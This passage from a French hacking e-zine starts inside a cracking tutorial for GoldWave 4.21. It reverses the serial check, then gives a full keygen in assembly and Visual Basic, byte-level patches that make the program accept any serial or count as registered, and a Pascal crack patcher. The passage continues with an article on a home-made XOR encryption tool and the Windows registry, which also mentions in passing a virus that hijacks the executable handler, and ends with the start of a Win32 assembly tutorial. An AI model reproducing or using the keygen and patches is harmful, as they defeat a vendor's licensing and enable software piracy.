-->EDX = EDX+4*EDX Maintenant EDX = 130B0 :00461BB4 03DA add ebx, edx -->Ajoute EBX(210 nombre trouvé plus haut lors de la 1ere boucle) à EDX, EBX=210+130B0=132C0 :00461BB9 8BCB mov ecx, ebx -->Place EBX dans ECX :00461BBB C1E104 shl ecx, 04 -->Déplace la valeur de ECX de 4 bits vers la gauche, EDX=132C00 :00461BBE 8D0C49 lea ecx, dword ptr [ecx+2*ecx] -->ECX = ECX+2*ECX :00461BC1 8D0C89 lea ecx, dword ptr [ecx+4*ecx] -->ECX = ECX+4*ECX :00461BC4 8D0C89 lea ecx, dword ptr [ecx+4*ecx] -->ECX = ECX+4*ECX :00461BC7 8D0C89 lea ecx, dword ptr [ecx+4*ecx] -->ECX = ECX+4*ECX Maintenant ecx = 1C157400 :00461BCA 03F1 add esi, ecx -->Ajoute ESI(1C5 nombre trouvé plus haut lors de la 2eme boucle) a ECX, ESI=1C5+1C157400=1C1575C5 :00461BCC 8BDE mov ebx, esi -->Met ESI dans EBX :00461BCE 8D741032 lea esi, dword ptr [eax+edx+32] -->Initialise esi qui va pointer sur le sérial boucle de_division: :00461BD6 8BC3 mov eax, ebx -->Met EBX dans EAX, intialisation pour la division :00461BD8 33D2 xor edx, edx -->Met EDX a 0 :00461BDA B91A000000 mov ecx, 0000001A -->Met 1A dans ecx :00461BDF F7F1 div ecx -->Divise EAX par ECX le quotient est EAX et le reste dans EDX :00461BE1 80C241 add dl, 41 -->On ajoute au reste 41 (41 est le code ascii de A) :00461BE4 8BC3 mov eax, ebx -->Replace EBX dans EAX :00461BE6 8816 mov byte ptr [esi], dl -->Esi pointe vers le premier caractères :00461BE8 33D2 xor edx, edx -->Remet EDX a 0 :00461BEA B91A000000 mov ecx, 0000001A -->1A dans ECX :00461BEF 46 inc esi -->Incrémente l'adresse ou ce trouve le sérial :00461BF0 F7F1 div ecx -->Divise EAX par ECX :00461BF5 89C3 mov ebx, eax -->Place le quotient dans EBX :00461BF7 85DB test ebx, ebx -->Teste si ebx different de 0 :00461BF9 75DB jne 00461BD6 -->Si oui alors saute en 461BD6 A la sorti de cette boucle ESI pointe sur PTMBRNB, qui est mon code d'enregistrement. Voilà maintenant j'ai absolument tout pour faire mon keygen, je vais essayer de récapituler l'algorithme: 1- Additionne la valeur ascii de chaque caractère de First Name avec le nombre de lettre de cette chaine restant a traité, on appellera cette valeur A 2- Additionne la valeur ascii de chaque caractère de Last Name avec le nombre de * lettre de cette chaine qui reste a traité, on appellera cette valeur B 3- Additionne la valeur des longueurs de chaine de First&Last name, on appellera cette valeur C. 4- C est déplacée vers la gauche de un octet, c = c & "0" 5- C=C+2*C puis C=C+4*C, C=C+4*C, C=C+4*C 6- C=C+A 7- C est déplace vers la gauche de un octet, c = c & "0" 8- C=C+2*C puis C=C+4*C, C=C+4*C, C=C+4*C 9- C=C+B 10- Divise C par 1Ah et ajoute 41h au résultat, ce résultat est le code ascii de la premiere lettre du serial. Le quotient de cette division est place dans C et on recommence cette étape dans c, tant que c est diffèrent de 0 Code source d'un keygen en asm, pour des raisons de comprension j'ai gardé exactement les même routines utilisées par le programme au lieu d'en optimiser certaines. Les valeurs sont aussi contenu dans les même registres. ;---------------------initialisation de la boite .386p Locals jumps include w32.inc .Model Flat ,StdCall hWnd equ 0 IDD_WINDOW equ 100 ;ID de la boite firstname equ 101 ;ID du champ Firtsname lastname equ 102 ;ID du champ Lastname serial equ 103 ;ID du champ ou on affichera le serial .data myname dd 10 dup (?) myname1 db 10 dup (?) resulta db 20 dup (?) hInst dd ? message db 'Enter name!',0 titl db 'KeyGen Goldwave 4.2x',0 len1 dd ? len2 dd ? .Code Main: push NULL call GetModuleHandle mov hInst, eax push NULL push offset DlgProc push NULL push IDD_WINDOW push hInst call DialogBoxParamA push NULL call ExitProcess DlgProc proc uses ebx edi esi, hwnd:DWORD, wmsg:DWORD, wparam:DWORD, lparam: DWORD cmp wmsg, WM_CLOSE je wmdestroy cmp wmsg, WM_COMMAND je wmcommand xor eax, eax ret wmdestroy: push NULL call PostQuitMessage ret wmcommand: cmp wparam, 100 je wmdestroy cmp wparam, 105 je debut cmp wparam, 106 je wmdestroy ret ;----------------------------------------- début de la génération du serial debut: push 255 push offset myname push firstname push hwnd call GetDlgItemTextA ;Récupère la chaine First name mov len1, eax ;Longueur de la chaine dans EAX lea edx, myname ;EDX pointe sur La chaine First Name cmp eax, 00 ;Teste si la chaine n'est pas nulle je pusto ;Si on affiche une msgbox pour avertir l'utilisateur xor ecx, ecx ;initialise les registres xor ebx, ebx ; dec eax ;decrémente le nombre de lettre de la chaine boucle1: movsx ecx, byte ptr [edx] ;valeur ascii du premier char dans ecx add ecx, eax ;ajoute cette valeur a ecx add ebx, ecx ;sauve la valeur de ecx dans ebx inc edx ;incrémentation du charactère de la chaine mov ecx, eax ;sauve eax dans ecx add eax, 0FFFFFFFFh ;équivalent a dec eax, décrémente le nombre ; de charactères a traiter test ecx, ecx ;teste si il reste d caratères a traiter jne boucle1 ;si oui saute, sinon le résulta final se trouve dans ebx push ebx push 255 push offset myname1 push lastname push hwnd call GetDlgItemTextA ;Récupère la chaine Last name mov len2, eax ;longueur de chaine dans eax lea edx, myname1 ;EDX pointe sur La chaine Last Name cmp eax, 00 ;Teste si la chaine n'est pas nulle je pusto ;Si on affiche une msgbox pour avertir l'utilisateur xor ecx, ecx ;Initialise les registres xor esi, esi ; dec eax ; décrémente le nombre de lettre de la chaîne boucle2: ;pareil que boucle1 mais les donné le résultat est dans esi movsx ecx, byte ptr [edx] add ecx, eax add esi, ecx inc edx mov ecx, eax add eax, 0FFFFFFFFh test ecx, ecx jne boucle2 pop ebx ;résultat boucle1 mov edi, len2 ;longueur chaine1 mov eax, len1 ;longeur chaine1 add edi, eax ;ajoute resultat boucle1 a longueur chaine2 mov eax, edi ;sauvegarde le résulta de l'opération précédente dans eax mov edx, eax ;place cette valeur dans edx shl edx, 04 ;décale la valeur de 4 bits vers la gauche lea edx, dword ptr [edx+2*edx] ;quelques opérations sur edx lea edx, dword ptr [edx+4*edx] ; lea edx, dword ptr [edx+4*edx] ; lea edx, dword ptr [edx+4*edx] ; add ebx, edx ;résulta des opérations précédente + longueur chaine1 mov ecx, ebx ;sauvegarde dans ecx shl ecx, 04 ;décale la valeur de ecx de 4 bits vers la gauche lea ecx, dword ptr [ecx+2*ecx] ;quelques opérations sur ecx lea ecx, dword ptr [ecx+4*ecx] ; lea ecx, dword ptr [ecx+4*ecx] ; lea ecx, dword ptr [ecx+4*ecx] ; add esi, ecx ;résultat des opérations précédentes + résultat boucle2 mov ebx, esi ;sauvegarde dans ebx mov esi, offset resulta ;initialise esi boucle3: mov eax, ebx ;met ebx dans ecx xor edx, edx ;initialise edx a 0 pour la division mov ecx, 0000001Ah ;place 1a dans ecx, dénominateur div ecx ;eax modulo ecx add dl, 41h ;ajoute 41h au reste de la div, 41h='A' mov eax, ebx ;replace ebx dans eax mov byte ptr [esi], dl ;esi pointe vers le premier caractère du sérial xor edx, edx ;initialise edx a 0 pour la division mov ecx, 0000001Ah ;place 1a dans ecx, dénominateur inc esi ;incrémente l'adresse ou ce trouve le serial div ecx ;eax modulo ecx mov ebx, eax ;le quotient dans ebx test ebx, ebx ;teste si quotient est diffèrent de 0 jne boucle3 ;----------------------affichage du résultat push offset resulta push serial push hwnd call SetDlgItemTextA ret ;----------------------msgbox pusto: push 20h push offset titl push offset message push hWnd call MessageBoxA ret DlgProc endp End Main --------------------------------------------------------------------------------------- Voilà c'est tout commenté, le code ce comprend sans difficulté je pense. Pour ceux qui on un peu de mal avec l'asm, le keygen peut ce faire aussi facilement en VB: Dim a As String, i As Byte, j As Byte, b As Variant, c As Variant, d As Variant, e As Variant, h As Byte, f As String, k As String Private Sub Command1_Click() Text1.Text = UCase(Text1.Text) Text2.Text = UCase(Text2.Text) If Text1.Text = "" Or Text2.Text = "" Then MsgBox "Vous devez remplir les deux champs", vbCritical, "--==GoldWave Keygen==--": Exit Sub End If b = 0 For i = 1 To Len(Text1.Text) a = Mid(Text1.Text, i, 1) b = b + Asc(a) + (Len(Text1.Text) - i) Next c = 0 For j = 1 To Len(Text2.Text) a = Mid(Text2.Text, j, 1) c = c + Asc(a) + (Len(Text2.Text) - j) Next d = Hex(Len(Text1.Text) + Len(Text2.Text)) & "0" myhex$ = d mydec& = Val("&H" & myhex$) d = mydec d = d + 2 * d d = d + 4 * d d = d + 4 * d d = d + 4 * d e = Hex(b + d) & "0" myhex$ = e mydec& = Val("&H" & myhex$) e = mydec e = e + 2 * e e = e + 4 * e e = e + 4 * e e = e + 4 * e f = c + e k = "" Do While f <> 0 h = (f Mod 26) + 65 f = Int(f / 26) k = k & Chr(h) Loop Text3.Text = k End Sub ------------------------------------------------------------------------------------------- Pas besoin de beaucoup d'explication c'est simple (meme si j'ai codé ca comme un porc, avec des noms de variables discutables :-) ). J'ai pas optimiser a fond car après ca donne des lignes du style: a = Asc(Mid(Text2.Text, j, 1) + (Len(Text2.Text) - j)) c'est sur c plus impressionnant :) mais ce tuto s'adresse aux débutant. Text1 c'est la ou on entre le First Name et Text2 le Last Name, le serial apparaitra dans Text3. Sinon il faut remplir les 2 champs et les lettres du first & last name doivent être converti en majuscule--> Text1.Text = UCase(Text1.Text) pareil pour text2 Le reste c'est l'application simple de l'algo plus quelques petites astuces pour la conversion de nombres hexa en décimal et inversement. ++++ | Partie IV: Le Patch | ++++ A. Faire accepter tous les serials : ___________________________________ Nous avons vu au début de ce tuto que si a la sorti du call 00461C14, AL était égal a 00 alors notre code n'est pas valide, si on inverse le saut sa sert a rien car une routine au lancement du logiciel teste le serial enregistré dans un fichier .ini. Alors, je vais chercher dans le call l'endroit ou AL est mit a 00 : Quand on entre dans le call 461C14 on voit * Referenced by a CALL at Addresses: |:00461A64 , :004623F7 , :004624A3 Le programme doit certainement ce servir aussi de cette routine pour verifier le serial enregistré dans le fichier .ini. Pour en etre sur on pose un breakpoint sur chaqune des 3 adresses qui appele ce call, on lance le prog et.... bingo sa break direct. Je rerentre dans le call et je trace comme un fous car ca ce passe a la fin forcement, apres la generation du serial. Voila tout ce passe là: :00461C4E 85C0 test eax, eax :00461C50 7504 jne 00461C56 :00461C52 33C0 xor eax, eax :00461C54 EB27 jmp 00461C7D * Referenced by a (U)nconditional or (C)onditional Jump at Address: |:00461C50(C) | :00461C56 8D45E4 lea eax, dword ptr [ebp-1C] :00461C59 8BD6 mov edx, esi * Referenced by a (U)nconditional or (C)onditional Jump at Address: |:00461C75(C) | :00461C5B 8A08 mov cl, byte ptr [eax] :00461C5D 3A0A cmp cl, byte ptr [edx] :00461C5F 7516 jne 00461C77 :00461C61 84C9 test cl, cl :00461C63 7412 je 00461C77 :00461C65 8A4801 mov cl, byte ptr [eax+01] :00461C68 3A4A01 cmp cl, byte ptr [edx+01] :00461C6B 750A jne 00461C77 :00461C6D 83C002 add eax, 00000002 :00461C70 83C202 add edx, 00000002 :00461C73 84C9 test cl, cl :00461C75 75E4 jne 00461C5B * Referenced by a (U)nconditional or (C)onditional Jump at Addresses: |:00461C5F(C), :00461C63(C), :00461C6B(C) | :00461C77 0F94C0 sete al :00461C7A 83E001 and eax, 00000001 * Referenced by a (U)nconditional or (C)onditional Jump at Address: |:00461C54(U) | :00461C7D 5F pop edi :00461C7E 5E pop esi :00461C7F 5B pop ebx :00461C80 8BE5 mov esp, ebp :00461C82 5D pop ebp :00461C83 C3 ret [ Explications ] Normalement quand jarrive en 461C4E, AL est egal a 01, dans le cas ou mon serial est bidon ou meme si il est valide (je n'est pas regardé dans quel cas al peut valoir 00 ici). Al est egal a 01 et le saut en 461C50 ce fait. A la ligne 461C5D et 461C68 on compare letre par letre le serial généré par le prog et le serial que l'on a entré. En 461C75 le saut permet de faire une boucle pour tester tout les caractères. Si un caractères est incorect au saute direct en 461C77 SETE: initialisation à 1 si CF=0 et ZF=1, dans ce cas CF et ZF=0 alors al ne pourra pas etre initialisé a 01. Si notre serial est corect (cartères identiques au sérial généré) alors CF=0 et ZF=0, donc al est initialisé a 01 grace a SETE. Voila on peut patcher sa de multiple facon, la facon la plus simple est la plus logique serait de remplacer le SETE par SETA (SETA: initialisation à 1 si CF et ZF sont à 0) Le problème c'est que le programme apres compare notre serial avec son serial généré, donc si la première fois le SETA nous met bien AL a 01, il nous le met a 00 lors du deuxième test. La deuxieme facon qui est a mon avis la plus simple et la plus logique est de remplacer le jne 00461C56 a la ligne 461C50, par un jmp 00461C7D. Cette solution modifie que 2 octets je pense que c'est la plus simple. Le 7504, a la ligne 00461C50 offset 61250, devient EB2B On fait les modif, on efface les infos que contienne First Last & Password, dans c:\windows\goldwave.ini si il y en a, puis on entre n'importe quel: First name, Last name et password et sa marche, on relance le prog et c'est bon on est register. Cette modif permet de faire accepter nimporte quel sérial. B. Enregistrer le prog sans entrer de serial : ______________________________________________ On efface les infos que contienne First Last & Password, dans c:\windows\goldwave.ini si il y en a, pour etre sur que notre technique marche. Le prog voit si on est register ou si le code est correct quand a la sortie du call 00461C14 il voit AL=01. Alors on entre dans ce call et on modifi les 3 premiers octets du call par: Mov AL,01 RET C'est extrement bourrin mais aussi extrement efficasse :) /!\Attention quand meme avec cette technique de bourrin elle peut poser des problèmes sur certain prog, le call peut etre nesséssaire pour d'autre chose dans certaint cas. Le prog rentre dans le call, on met 01 dans AL et le RET le fait sortir de suite :) On modifie a l'offset 61214: 558BEC par B001C3 Code de ce patch en pascal, merci la shmeitcorp(RIP) pour cette source: Program crackpatch; Uses Crt; Const A: Array[1..3] of Record ;3=nombre d'octet a modifier A : Longint; B : Byte; End = ( (A:$61214;B:$B0), ;offset et valeur (A:$61215;B:$01), ;a remplacer pour (A:$61216;B:$C3) ;chaque octet ); Var Ch:Char; I:Byte; F:File; FN:file of byte; Size:longint; Procedure Presentation; Begin Gotoxy(2,3); Textcolor(3); Writeln(''); Writeln('cRACk f0R : Goldwave 4.21'); Writeln('cRACK3D bY : Emper0r'); Writeln(''); Writeln(''); Writeln('gR33TiNG : Dr. Raoul Duke et Maitre GonZo !'); Writeln (''); Writeln (''); end; Begin Presentation; Assign(F,'GOLDWAVE.EXE'); ;nom du prog a patcher {$I-} Reset(F,1); {$I+} If IOResult <> 0 then begin writeln('fILE n0T f0UnD!'); halt(0); end; For I:=1 to 3 do Begin Seek(F,A[I].A); Ch:=Char(A[I].B); Blockwrite(F,Ch,1); End; Writeln('cRACk SuCc3sSfUL !!!!'); End. [ Conclusion ] Ca y est mon tuto est fini merci a ceux qui on lut jusqua la fin ;) j'espère que que ce tuto aura appris quelque chose à quelqu'un. A oui et aussi pardon pour les 351 fautes d'orthographes qu'il contient :) Emper0r -Remerciements en vrac a: MrPhillex, Christal, Slash, eldre8, Fistfucker, yopjen, Morgatte, spud, TipaX, SNY, R!SC, TaMaMBoLo, [k], YoLeJedi, Neo Fox, Lex Icon, DarK_DreaM, Seiferis, Slider, The Analyst, la team 29A, la shmeitcorp, millarness, Factitius, Dr. Raoul Duke & Maitre GonZo. -Mais aussi: tous mes potes, tous ceux que je ne peut malheuresment pas citer pour certaines raisons qui font que ...., tout ceux qui font un petit qq chose pour 'l'underground', tous ceux que j'ai oublié. -Big Fuck : A ceux qui critiquent au lieu de partager, a tout les lamerz qui polluent le net et ne font que des conneries (ex: ceux qui utilisent d generateurs de worms sans comprendre et les lachent dans la nature, voir VBS.annaKournicova). ------------------------------------------------------------------------------------------- III. Crypto : Penelope par Androgyne ------------------------------------------------------------------------------------------- ++++++++++++++++++++++++++++++++++++ +++ Fichier Joint : penelope.zip +++ ++++++++++++++++++++++++++++++++++++ [ Sommaire ] Introduction Généralités - FAQ Comment ça marche ? Pourquoi l'avoir fait ? Pourquoi ce nom ? Quel est le cryptage utilisé ? La base de registre Hiérarchie HKEY_LOCAL_MACHINE\Software Application Les autres points de Penelope Boîtes de dialogue Le générateur de nombre pseudo-aléatoire Le file mapping Comment avoir de l'ordre en asm... Conclusion [ Introduction ] Penelope est un programme de cryptage... Mais ce n'est pas la fonction de cryptage qui est intéressante ici, j'ai utilisé un simple cryptage xor sur 32 bits. Ce qui va faire l'objet de cette article, c'est toutes les choses que j'ai apprises en programmant Penelope. C'est un article un peu fourre tout mais il est fondamentalement lié à Penelope. [ Généralités - FAQ ] *** Comment ça marche ? *** J'ai essayé de faire une interface la plus simple possible. Je crois qu'on ne peut pas faire moins... L'interface se présente avec une boîte de dialogue. Là, vous pouvez entrer le nom du fichier que vous voulez crypter (il doit être dans le même répertoire que Penelope), et vous appuyez sur 'Cipher'. Penelope génère alors un fichier ayant pour nom nomentierdufichier.xor, qui est la forme cryptée. Pour décrypter le fichier, on fait la même chose en appuyant sur 'Decipher'. Si le nom du fichier termine par .xor, Penelope va générer le nouveau fichier en enlevant l'extension xor, sinon, une boîte de dialogue apparaît pour vous demander le nom du fichier une fois décrypté. Il y a quelques petits plus amusants : vous pouvez associer l'extension xor avec Penelope (dans 'Options'), et alors, dès que vous cliquez sur un fichier ayant l'extension xor, Penelope est lancée automatiquement et initialise le nom du fichier. Vous pouvez également faire un fichier de configuration qui enregistrera des données très précieuses (voir plus loin)... *** Pourquoi l'avoir fait ? *** J'en sais rien... Pour m'amuser. Certains vont dire "Pourquoi se faire chier à le faire en asm alors qu'il serait plus facile de le faire en C++ ou en Delphi ?"... Oui, c'est vrai mais je préfère l'asm et c'est mon choix . Tout met plus de temps à faire en asm mais je trouve ça tellement plus excitant... *** Pourquoi ce nom ? *** Pourquoi pas ce nom... Je trouve que donner des prénoms aux programmes les rend un peu plus vivants. Alors, cette fois, c'est Penelope, une autre fois, ce sera un autre prénom :) Si vous avez des préférences, écrivez moi (prénom féminin uniquement). *** Quel est le cryptage utilisé ? *** C'est un simple cryptage xor (agrémenté de quelques autres instructions du style rol/ror) avec plusieurs clés, toutes 32 bits. Ce n'est pas très secure mais ce n'est pas le but (un jour si j'ai le temps, j'implémenterai un codage RSA). En fait, il y a trois clés : la clé du programme, c'est une clé fixe dans le programme ; la clé de l'utilisateur, elle est tirée au hasard à la première utilisation de Penelope ; la clé du fichier, elle est tirée au hasard pour chaque fichier. Comment ces clés sont-elles utilisées ? L'idée, c'est qu'on ne va pas mettre la clé du fichier directement avec le fichier donc, on la crypte avec la clé de l'utilisateur et on la met avec le fichier... Voilà pourquoi la clé de l'utilisateur est choisie une fois pour toute au début. Et voilà à quoi sert le fichier de configuration... Elle sert à stocker la clé de l'utilisateur. Mais là encore, on ne la stocke pas telle quel, on la crypte avec la clé du programme qui elle est fixe... Vous me direz "Si on connait la clé du programme, on peut avoir la clé de l'utilisateur et alors, on décrypte tous les fichiers...". Bien sûr mais vous ai-je dit que ce programme n'était pas très puissant pour le cryptage ? [ La base de registre ] J'ai abondamment utilisé la base de registre dans ce programme, ce qui m'a permis d'en apprendre un peu plus sur cet élément Windowsien un peu obscur pour le commun des utilisateurs moyens... Un peu d'histoire tout d'abord : au début, à l'ère préhistorique du DOS, pour pouvoir garder des configurations d'utilisateurs, on avait des fichiers de configuration (les fichiers INI). Remarquez que ces fichiers existent toujours et que l'on peut toujours s'en servir (voir article sur les INI dans hccc#6 [http://www.multimania.com/hccc]). Mais l'arrivée de Windows 3.1 a marqué l'arrivée de la base de registre (registry en anglais) pour remplacer les fichiers INI. Au départ, on ne pouvait pas stocker beaucoup de choses dans le registre, uniquement des chaînes de caractères, c'était un peu la misère... Puis avec les Win9x, on a pu faire plus de choses avec le registre et son utilisation s'est généralisée. La documentation de Windows incite d'ailleurs à abandonner l'utilisation des INI pour lui préférer celle du registre. *** Hiérarchie *** Le registre marche avec un système de clé et une hiérarchie en répertoire... Vous pouvez avoir un aperçu de cette hiérarchie en tapant regedit dans 'Executer...'. regedit est l'éditeur de registre, vous pouvez modifier le registre directement à partir de là. Mais attention !!! Des modifications à tout va peuvent causer des dommages irréversibles sur ce pauvre Windows qui a déjà bien du mal à fonctionner tout seul :) . Dans cette hiérarchie, il y a principalement 4 clés à la racine : - HKEY_CLASS_ROOT : c'est un raccourci pour la clé HKEY_LOCAL_MACHINE\Software\Classes, on va y revenir longuement dans la suite... - HKEY_CURRENT_USER : c'est un raccourci pour HKEY_USERS\... - HKEY_LOCAL_MACHINE : cette clé contient pleins d'informations sur la machine sur laquelle est installé Windows. On va s'intéresser plus précisément à la sous clé Software dans la suite... - HKEY_USERS : c'est la clé où sont stocké les configurations de tous les utilisateurs de la machine. Ces 4 clés sont ouvertes en permanence. On peut donc y accéder quand on veut. Pour pouvoir accéder à des sous clés, il faut ouvrir ces sous clés (fonction RegOpenKey). Chaque clé peut contenir elle même une valeur (appelée default dans regedit) ou contenir des autres valeurs associées à des noms plus précis. Je me suis particulièrement intéressée à la sous clé Software de HKEY_LOCAL_MACHINE... *** HKEY_LOCAL_MACHINE\Software *** Là, on a deux types de sous clés. Tout d'abord, il y a les sous clés créé par la plupart des logiciels installés sur votre PC. Généralement, la sous clé contient le nom de la société qui produit le logiciel (Exemples : Adobe, Netscape, Microsoft, Logitech...), et cette sous clé contient des sous clés avec le nom des logiciels de cette société (Exemple pour Adobe : Acrobat Reader, Photoshop). C'est ici que sont stockés les numéros de version, la configuration, etc... des logiciels de votre PC. Vous pouvez fouillez un peu la dedans, c'est parfois très instructif :) Le deuxième type de clé est la clé Classes. On peut y accéder directement dès la racine par HKEY_CLASS_ROOT. Ici sont définis les types et classes de documents existant sur votre PC. Là encore, il y a deux types de sous clé : - les clés extensions : elles se trouvent toutes au début et ont la forme '.ext'. Ces clés définissent à quelle classe appartiennent les fichiers portant l'extension 'ext' (Exemple : '.zip' appartient à la classe Winzip, '.txt' à la classe txtfile) - les clés classes : Ces clés servent à définir les fichiers de cette classe. La valeur de ces clés est une description du type du fichier (Exemple pour txtfile : 'Document texte'), c'est l'information qu'on peut voir en faisant 'Propriétés' en face de type. Chaque clé classe contient généralement une sous clé 'Shell' qui donne des informations sur l'application qui interprète les fichiers de cette classe ; 'Shell' contient généralement deux sous clés 'open' et 'print' qui ont la même structure, une sous clé 'command' qui a pour valeur la ligne de commande à envoyer quand on clique sur ce type de fichier (%1 remplace comme en batch le premier argument, c'est à dire ici le fichier sur lequel on a cliqué). Exemple : "C:\WINDOWS\NOTEPAD.EXE %1". La clé classe à parfois une sous clé 'DefaultIcon' qui contient un chemin jusqu'à l'icône utilisée pour ce type de document. Donc, résumons : HKEY_LOCAL_MACHINE\Software + CompanyName1 | + ProductName1 | + ProductName2 + CompanyName2 | + ProductName1 + RtC | + Penelope | | [Owner Key] -> xxxxxxxx | . [Rand Seed 1] -> xxxxxxxx . [Rand Seed 2] -> xxxxxxxx . | + Classes | + .txt -> txtfile | + .xor -> xorfile | + | . | . | + txtfile -> "Document Texte" | | + shell | | | + open | | | | + command -> "C:\WINDOWS\NOTEPAD.EXE %1" | | | + print | | | + command -> "C:\LINUX\NOTEPAD.EXE /p %1" | | + DefaultIcon -> "......" | + xorfile -> "Fichier XOR" | | + shell | | | + open | | | + command -> "....\penelope.exe %1" | | + DefaultIcon -> "....\penelope.exe,1" . . etc... Je n'ai pas mis .xor et xorfile par hasard car c'est de cette façon que je déclare Penelope en tant qu'interpréteur de fichiers xor. J'en profite pour déclarer l'icône associée au type de fichier xor (vous avez vu, je me suis éclatée sur les icônes). J'ajoute également la valeur AlwaysShowExt dans la clé xorfile pour toujours voir l'extension même quand on a coché l'option 'Cacher les extensions des fichiers dont le type est connu', ce qui a valu à un célèbre ver de se propager avec amour sur les 3/4 de la planète :) *** Application *** Pour manipuler des clés et des sous clés dans le registre, on utilise des fonctions de l'API Windows. Toutes ces fonctions commencent par Reg. Allez voir dans les sources de Penelope pour voir plus précisément un exemple d'application. Les descriptions de ces fonctions sont dans tous les win32.hlp qui se respectent. Vous pourrez y trouver aussi des informations complémentaires sur le registre. On m'a également parlé, il y a peu, d'un virus très astucieux qui utilisait le registre. Il se copiait dans le répertoire Recycled (c'est la corbeille) et se déclarait en tant qu'interpréteur de fichiers exécutables... Conséquence : si on l'efface, impossible d'exécuter quoi que ce soit. Il en profitait pour infecter tous les exécutables sans aucun effort de recherche... Conclusion : Le registre de Windows est une idée qui pour une fois n'est pas dénuée de bon sens. Mais le registre est à mon avis un point faible de Windows. Rien n'empêche quelqu'un de tout supprimer dans le registre et alors, bonjour les dégâts... [ Les autres points de Penelope ] *** Boîtes de dialogue *** Pour faire des boîtes de dialogues, c'est tout simple. Je vous renvoie ici à l'article que j'ai écrit dans hccc#6 (voir adresse plus haut) pour avoir une démarche détaillée. *** Le générateur de nombre pseudo-aléatoire *** Là encore, je vous renvoie à l'article 'GNPA' paru dans RtCmag#3 et reparu dans 'RtCmag at the end of the universe'. Je veux juste dire que j'ai mis une version totalement 32 bits utilisant une récurrence linéaire d'ordre 2 congruentielle. Je stocke les valeurs de rand_seed1 et rand_seed2 dans le registre dans la clé 'HKEY_LOCAL_MACHINE\Software\RtC\Penelope'. *** Le file mapping *** Je n'ai rien à dire là non plus, je vous renvoie à l'article de Doxtor L. 'Infection Win32 Part 2 : Manipulation de fichier en asm' qui est très bien fait et qui est paru dans 'RtCmag at the end of the universe'. Dans le cas de Penelope, je rajoute au fichier crypté un entête contenant une signature ('XOR',0) et la clé du fichier crypté avec la clé de l'utilisateur. La signature permet de savoir si oui ou non on a à faire à un fichier crypté avec Penelope, c'est un procédé classique (Exemple : 'PK' pour les zip, 'PE' pour les executables Win32, ...). [ Comment avoir de l'ordre en asm... ] C'est un point que j'aimerais aborder parce que je ne l'ai vu abordé nul part et il me semble important. Il est en effet très facile d'avoir un code qui ne ressemble à rien en asm. Cette particularité vient du fait qu'il n'existe aucun éditeur de texte dédié à l'assembleur contrairement à tous les macrolangages. Pour ma part, j'utilise UltraEdit 8.00 que je trouve excellent à tout point de vue : coloration syntaxique très complète, transformation Tabulations en Espace, indentation automatique. Je le conseille à tout le monde... La deuxième différence principale est la compilation. Avec un macrolangage, on a un joli raccourci clavier sur l'éditeur et voilà ! En assembleur, on y va à la main. Heureusement, on peut automatiser la compilation un minimum en utilisant des batch de compilation... Mais il ne faut pas accuser le manque de matériel. Savoir présenter un code en asm est beaucoup plus important que dans tout autre langage. Et quand je dis présenter, je parle aussi bien des sauts de lignes opportuns que du nommage des variables, constantes... Un code mal présenté n'est pas agréable à lire. Pour ma part, j'essaie de respecter des règles qui me sont propres. J'espère que mes codes sont lisibles par le plus grand nombre. J'y accorde beaucoup d'importance alors dites moi si des choses ne vous paraissent pas claires. Pour finir, je voudrais lancer un appel aux extrémistes des debugger. Je voudrais insister sur le fait que le meilleur debugger, c'est votre cerveau. Il ne faut pas devenir dépendant des debuggers, souvent, il suffit juste de réfléchir un peu, de regarder son code droit dans les yeux et l'erreur apparaît ! Parfois, c'est un peu plus compliqué, elle est devant vous et vous ne la voyez pas... Ça m'est déjà arrivé, une pauvre erreur qui m'a résisté pendant un mois et demi. Quand c'est comme ça, laissez tombez, passez à autre chose, et revenez sur votre code plus tard, avec des idées neuves, ça aide ; vous n'avez personne derrière vous avec une kalashnikov pour vous imposer des délais alors prenez votre temps ; à force, vous n'aurez même plus besoin de débugguer vos codes. [ Conclusion ] Je ne vous force pas à utiliser ce logiciel (je vous conseille même fortement de ne pas l'utiliser :) ). Mais si vous avez le temps de l'essayer au moins, et de me dire les bugs qu'il comporte, ce serait cool. J'en ai déjà repéré quelques uns, mais je suis sûre qu'il y en a d'autres... Merci d'avance. Sinon, si vous voulez effacer toute présence de Penelope dans la base de registre après l'avoir essayé, vous pouvez utiliser le programme 'Clean' qui est spécialement fait pour ça. Voilà, c'est fini ! EOF --------------------------------------------------------------------------------------------------- IV. Programmation Win32asm Part1. Disk-Lexic --------------------------------------------------------------------------------------------------- [ Introduction ] Salut à tous ! C'est mon premier article pour IOC Magazine et j'ai choisi de vous parler d'un sujet que l'on ne rencontre pas assez souvent dans les textes français ... Souvenez vous , au départ était DOS, le programmeur en assembleur était heureux, il pouvait écrire partout ou il voulait, en mémoire,sur les ports d'entrée-sorties, sur les périphériques, il était maitre absolu de sa machine et on aurait pu croire que rien ne l'arrêterait. Et c'est alors que Microsoft à crée Windows. Et voilà que tout était changé, sous l'oppression du mode protégé, il ne peut plus faire tout ce qu'il désire, car la firme de Redmond a décidé de mettre des restrictions un peu partout. C'est ainsi que beaucoup se sont mis à programmer dans des langages de haut niveau. Depuis, de nombreux étudiants ne se doutent même plus de ce qui se passe réellement au sein de leurs machines. Et certains osent même dire qu'apprendre l'assembleur ne sert plus à rien. Contre ceux-là je me révolte et préfèrent rejoindre ces qulques irréductibles qui on choisi de ne pas subir cette dictature. Nous continuerons à vouloir tout savoir sur le déroulement des programmes, nous continuerons à vouloir tout apprendre sur la structure de vos fichiers. Nous ne vous laisserons pas nous aveugler derrière vos tonnes de couches logicielles que vous interposez entre l'utilisateur et la machine. J'ai opté pour une démarche progressive et j'essairais tant que possible de la respecter. Cela étant dit , Vous remarquerez que je ne suis pas parti du point zéro. Je n'ai pas l'intention de vous apprendre les bases de la programmation en assembleur, cela a été fait des centaines de fois. Pour cela je vous conseille de lire les e-zines 'reporter' et 'prograzine'. Je vous laisserais aussi le soin de vous renseigner sur les API windows par vous mêmes car je pense qu'il y a déjà suffisamment de documentation sur le sujet. Je vais donc tenter de vous initier à la programmation win32asm à l'aide du compilateur TASM. Parce que j'en ai assez que les informations ne concernent en majorité que MASM. Bonne lecture et j'espère que je permettrais à beaucoup d'apprendre et de progresser . Allez , c'est parti, jetons nous à l'eau ! [ Let's Go ] Vous aurez besoin : -du compilateur TASM 5.0 (trouvable sur internet, essayez www.crackstore.com) -de tasmedit (disponible sur mon site, c'est plus agréable que wordpad ou EDIT) -d'ub déboggueur (Softice ou Turbo debugger ) . Ca sert toujours ! -de la liste des API windows ( trouvable sur internet ) -de rigueur -de discipline 